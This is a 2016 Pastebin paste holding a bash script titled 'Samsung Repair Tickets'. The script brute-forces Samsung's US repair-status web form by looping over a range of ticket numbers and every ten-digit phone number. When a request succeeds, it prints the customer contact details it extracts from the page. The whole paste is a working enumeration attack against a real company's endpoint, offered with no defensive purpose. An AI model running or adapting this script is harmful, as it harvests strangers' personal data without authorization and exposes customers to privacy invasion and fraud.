Guest User

Samsung Repair Tickets..

a guest
Sep 8th, 2016
2,477
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.76 KB | None | 0 0
  1. #!/bin/bash
  2. #
  3. for t in {4136987977..4136989977}; do
  4. echo "testing ticket $t"
  5. for i in {2000000000..9999999999}; do
  6. echo "testing telephone $i"
  7. p1=$(echo $i | cut --characters 1-3)
  8. p2=$(echo $i | cut --characters 4-6)
  9. p3=$(echo $i | cut --characters 7-)
  10. curl=$(curl -sS -d ticket_no=$t -d telephone1=$p1 -d telephone2=$p2 -d telephone3=$p3 http://support-us.samsung.com/cyber/repair_status_sta.jsp)
  11. if echo $curl | grep "Contact Information Start" > /dev/null
  12. then
  13. echo "found telephone $i for ticket $t"
  14. echo "***"
  15. echo $curl | sed -e 's/</\n</g'  | grep value | sed -n '/name=\"act\"/,/enc_strtel_number/p' | sed -n '/id=/','//p'
  16. #echo $curl | w3m -dump -T text/html -cols=5000 | sed -n '/Repair Status/,/Picture of Issue/p'
  17. echo "***"
  18. break
  19. fi;
  20. done
  21. done
Advertisement
Add Comment
Please, Sign In to add comment